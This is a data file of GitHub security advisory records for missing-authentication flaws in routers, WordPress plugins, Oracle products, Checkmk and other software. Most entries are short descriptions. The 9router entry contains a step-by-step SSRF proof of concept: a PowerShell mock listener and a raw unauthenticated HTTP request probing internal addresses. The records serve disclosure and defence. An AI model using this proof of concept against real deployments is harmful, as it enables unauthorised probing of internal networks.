CWE-306

{
  "affected": [],
  "aliases": [
    "CVE-2019-7390"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-02-05T00:29:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in /bin/goahead on D-Link DIR-823G devices with firmware 1.02B03. There is incorrect access control allowing remote attackers to hijack the DNS service configuration of all clients in the WLAN, without authentication, via the SetWanSettings HNAP API.",
  "id": "GHSA-8f9f-5jjh-xcjq",
  "modified": "2022-05-13T01:22:49Z",
  "published": "2022-05-13T01:22:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7390"
    },
    {
      "type": "WEB",
      "url": "https://github.com/leonW7/D-Link/blob/master/Vul_5.md"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/106855"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-36888"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-15T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Unauthenticated Arbitrary Options Update vulnerability leading to full website compromise discovered in Image Hover Effects Ultimate (versions \u003c= 9.6.1) WordPress plugin.",
  "id": "GHSA-8fjw-gv37-439q",
  "modified": "2022-10-27T19:00:29Z",
  "published": "2021-12-16T00:00:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36888"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/image-hover-effects-ultimate/wordpress-image-hover-effects-ultimate-plugin-9-6-1-unauthenticated-arbitrary-options-update-leading-to-full-website-compromise"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/image-hover-effects-ultimate/#developers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-15576"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-21T11:17:04Z",
    "severity": "MODERATE"
  },
  "details": "Improper authentication in the agent receiver of Checkmk \u003c2.5.0p10 allows an unauthenticated remote attacker to bypass mutual TLS client certificate verification of relay endpoints by supplying a fixed placeholder identity in the request URL, resulting in limited impact on integrity and availability. Only the Cloud, Ultimate and Ultimate MT editions are affected, as other editions do not expose relay endpoints.",
  "id": "GHSA-8fww-64wc-46pf",
  "modified": "2026-08-21T12:30:32Z",
  "published": "2026-08-21T12:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15576"
    },
    {
      "type": "WEB",
      "url": "https://checkmk.com/werk/20174"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-15567"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-27T07:17:10Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient protection mechanisms in the Health Module may lead to partial information disclosure.",
  "id": "GHSA-8fxc-329r-9p4v",
  "modified": "2026-03-09T18:31:36Z",
  "published": "2026-02-27T09:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15567"
    },
    {
      "type": "WEB",
      "url": "https://www.vivo.com/en/support/security-advisory-detail?id=19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "djust"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61590"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-668"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-16T13:49:19Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\ndjust\u0027s observability endpoints expose live view/session state and a remote method-invocation surface (`eval_handler`). The localhost restriction was an **opt-in middleware that the documented setup omits**; the views themselves enforced only `DEBUG`. In the misconfigured-but-documented scenario (DEBUG on, middleware not installed) a non-localhost client could read live application state and invoke handlers remotely.\n\n### Patches\nFixed in **djust 1.0.7**. The localhost restriction is enforced **in-view** on every observability endpoint (no longer dependent on a separately-installed middleware), and `eval_handler` is restricted; gated requests receive a non-disclosing response.\n\n### Workarounds\nEnsure `DEBUG=False` in production, and do not expose the observability endpoints to untrusted networks.",
  "id": "GHSA-8g2f-g3gq-5rjv",
  "modified": "2026-09-16T13:49:19Z",
  "published": "2026-09-16T13:49:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/djust-org/djust/security/advisories/GHSA-8g2f-g3gq-5rjv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/djust-org/djust"
    },
    {
      "type": "WEB",
      "url": "https://github.com/djust-org/djust/releases/tag/v1.0.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "djust\u0027s observability endpoints are network-exposed: the localhost gate is an opt-in middleware the docs omit, and the views enforce only DEBUG"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-21146"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-16T23:15:16Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in the Oracle Trade Management product of Oracle E-Business Suite (component: GL Accounts).  Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Trade Management.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Trade Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Trade Management accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).",
  "id": "GHSA-8g3v-wwhq-2r48",
  "modified": "2024-07-17T00:32:55Z",
  "published": "2024-07-17T00:32:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21146"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2024.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-6511"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-16T17:16:58Z",
    "severity": "MODERATE"
  },
  "details": "During an internal security assessment, a potential improper access control vulnerability was discovered in Lenovo Smart Connect for Windows that could allow a local authenticated user to access files owned by a different user on the same system.",
  "id": "GHSA-8g48-f3xj-wjwv",
  "modified": "2026-07-16T18:31:34Z",
  "published": "2026-07-16T18:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6511"
    },
    {
      "type": "WEB",
      "url": "https://support.lenovo.com/us/en/product_security/LEN-218281"
    },
    {
      "type": "WEB",
      "url": "https://www.lenovo.com/us/en/software/smart-connect"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56677"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T21:58:43Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in the 9Router dashboard via the `/api/auth/oidc/test` endpoint. The application accepts a user-controlled URL string through the `issuerUrl` parameter and performs an outbound HTTP request without validating if the destination IP belongs to a restricted internal network range.\n\nNotably, this endpoint can be accessed without active session authentication (Unauthenticated), allowing any remote actor with network visibility to the dashboard API endpoints to trigger outbound infrastructure connections.\n\nDepending on the state and response of the internal port targeted, this flaw exhibits two distinct behaviors:\n\n1. **Port Scanning / Blind SSRF (Non-OIDC structures):** Probing internal ports that are closed or running non-HTTP/non-OIDC services (e.g., SSH, Databases) forces predictable application behavior changes (e.g., structural timeout or clear JSON parsing error messages like \"Unexpected token...\"), allowing internal network reconnaissance.\n2. **Full Data Feed Manipulation (OIDC matching structures):** If the targeted internal service responds with a valid OpenID configuration document structure, the backend successfully processes, parses, and reflects the internal properties back to the client, confirming partial data control.\n\n---\n\n### Vulnerable Code Details\n\n- **Classification:** VE-Class 4 \u2014 OIDC SSRF via issuerUrl (Unauthenticated)\n- **File Path:** `src/app/api/auth/oidc/test/route.js`\n- **Vulnerable Logic:** The endpoint accepts the parameter directly from the client request and passes it directly into the network client routine without prior sanitization or middleware authentication wrapper checks.\n\n```javascript\n// Vulnerable implementation wrapper inside the route handler\nconst discovery = await fetchOidcDiscovery(issuerUrl);\n// Behind the scenes, this executes a direct dynamic outbound request:\n// -\u003e fetch(`${issuerUrl}/.well-known/openid-configuration`)\n```\n\nAn unauthenticated user can point this at any internal URL to probe internal services that respond with JSON. The discovery JSON fields (`token_endpoint`, `jwks_uri`) are then processed by the internal application logic for further operations, enabling a multi-step SSRF chain.\n\n---\n\n### Affected Endpoints\n\n- **Endpoint:** `/api/auth/oidc/test`\n- **Method:** `POST`\n- **Parameter:** `issuerUrl`\n- **Impacted Feature:** OIDC Authentication Configuration Test\n\n---\n\n### Impact\n\nAn unauthenticated attacker can abuse this behavior to use the 9Router instance as a proxy to:\n\n- Conduct internal network topology discovery and port scanning against the hosting infrastructure (`127.0.0.1`, `10.0.0.0/8`, `192.168.0.0/16`).\n- Expose internal application error states or feed malicious configuration structures back into the dashboard component logic without needing prior valid session tokens.\n\n---\n\n### Proof of Concept \u0026 Reproducing Steps\n\n#### Step 1: Set up the Verification Environment\n\nUtilize a local mock listener on an internal port (e.g., Port 80).\n\nRun the following PowerShell script with Administrative privileges to launch the mock listener:\n\n```powershell\n$port = 80\n$listener = New-Object System.Net.HttpListener\n$listener.Prefixes.Add(\"http://127.0.0.1:$port/\")\n\ntry {\n    $listener.Start()\n    Write-Host \"=======================================================\" -ForegroundColor Cyan\n    Write-Host \"  MOCK OIDC SERVER RUNNING ON PORT 80\" -ForegroundColor Green\n    Write-Host \"=======================================================\" -ForegroundColor Cyan\n\n    while ($listener.IsListening) {\n        $context = $listener.GetContext()\n        $request = $context.Request\n        Write-Host \"[+] SSRF Request received for URL: $($request.Url)\" -ForegroundColor Yellow\n        \n        $jsonPayload = \u0027{\"issuer\":\"http://127.0.0.1\",\"authorization_endpoint\":\"http://127.0.0.1/oauth/auth\",\"token_endpoint\":\"http://127.0.0.1/oauth/token\",\"userinfo_endpoint\":\"EVIDENCE_SSRF_CONFIRMED_SUCCESSFULLY\",\"jwks_uri\":\"http://127.0.0.1/oauth/keys\"}\u0027\n\n        $response = $context.Response\n        $response.StatusCode = 200\n        $response.ContentType = \"application/json\"\n        \n        $buffer = [System.Text.Encoding]::UTF8.GetBytes($jsonPayload)\n        $response.ContentLength64 = $buffer.Length\n        $response.OutputStream.Write($buffer, 0, $buffer.Length)\n        $response.Close()\n        Write-Host \"[*] JSON payload sent back to 9router\" -ForegroundColor Green\n    }\n} catch {\n    Write-Host \"Error starting server on port 80\" -ForegroundColor Red\n} finally {\n    if ($listener.IsListening) { $listener.Stop() }\n}\n```\n\n#### Step 2: Triggering the Vulnerability via Burp Suite\n\nSend the following raw HTTP request to the 9Router instance (Notice no Cookie header is required):\n\n```http\nPOST /api/auth/oidc/test HTTP/1.1\nHost: localhost:3000\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 54\n\n{\n  \"issuerUrl\": \"http://127.0.0.1:80\",\n  \"clientId\": \"probe_only\"\n}\n```\n\n#### Step 3: Objective Analysis of Results\n\n**Scenario A: Targeting an Unmatched/Plain Text Port** (e.g., Port returning raw strings like `\"check vul\"`)\n\nThe server connects to the port, receives a non-JSON response, and errors out during parsing. The application response explicitly leaks the parsing failure:\n\n```json\n{\"error\":\"Unexpected token \u0027c\u0027, \\\"check vul\\\" is not valid JSON\"}\n```\n\n\u003e **Analysis:** This confirms the backend successfully completed an outbound TCP handshake and read the payload from the internal resource, verifying an Error-based/Blind SSRF context without any user credentials.\n\n---\n\n**Scenario B: Targeting the Valid Mock Port** (Port 80 with the script active)\n\nThe backend connects to the mock listener, successfully fetches the fake configuration data, maps the internal endpoints, and replies with an HTTP 200 OK:\n\n```json\n{\n  \"ok\": true,\n  \"discoveryOk\": true,\n  \"issuerUrl\": \"http://127.0.0.1:80\",\n  \"authorizationEndpoint\": \"http://127.0.0.1/oauth/auth\",\n  \"tokenEndpoint\": \"http://127.0.0.1/oauth/token\",\n  \"jwksUri\": \"http://127.0.0.1/oauth/keys\"\n}\n```\n\u003cimg width=\"1513\" height=\"651\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6621f418-7a0d-4660-b301-ad37468d8d7a\" /\u003e\n\n\u003e **Analysis:** This confirms a Full Data Feed SSRF. The internal properties parsed directly from the mock script are completely reflected back in the public client response body.\n\n---\n\n### Root Cause Analysis\n\nThe application logic handles network requests initiated by user input inside `/api/auth/oidc/test` without validating the host destination. Additionally, the route handler lacks proper authentication middleware checks to safeguard the functionality, allowing anonymous requests to safely reach internal server loops or private IP subnets.\n\n---\n\n### Suggested Fix\n\n1. **Implement Access Control:** Protect the `/api/auth/oidc/test` handler with authentication middleware to enforce valid user sessions.\n\n2. **Enforce Protocol Controls:** Validate that `issuerUrl` strictly uses the `https://` protocol scheme before performing the fetch operation.\n\n3. **Implement Network Blocklists:** Resolve the hostname within `issuerUrl` on the server-side before initiating the connection. Validate the resolved IP address and explicitly drop requests pointing to loopback addresses (`127.0.0.0/8`, `::1`) or internal private addresses (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`).",
  "id": "GHSA-8g4w-4ffg-8vgx",
  "modified": "2026-08-17T21:58:43Z",
  "published": "2026-08-17T21:58:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-8g4w-4ffg-8vgx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "9Router: Authenticated Server-Side Request Forgery (SSRF) via OIDC Provider Test Endpoint"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-77977"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-28T00:18:15Z",
    "severity": "HIGH"
  },
  "details": "Ebyte gateway product\u0027s vendor configuration utility does not require authentication before \nallowing certain disruptive administrative actions when default \ncredentials remain configured. An unauthenticated attacker on the \nadjacent network could reboot the device or restore factory settings, \nresulting in a loss of configuration and service availability.",
  "id": "GHSA-8g5x-wgwr-8jwp",
  "modified": "2026-08-28T00:32:04Z",
  "published": "2026-08-28T00:32:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77977"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-237-06.json"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-237-06"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-30762"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-15T20:15:30Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).",
  "id": "GHSA-8g64-6m2c-qgxh",
  "modified": "2025-07-15T21:31:40Z",
  "published": "2025-07-15T21:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30762"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2025.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}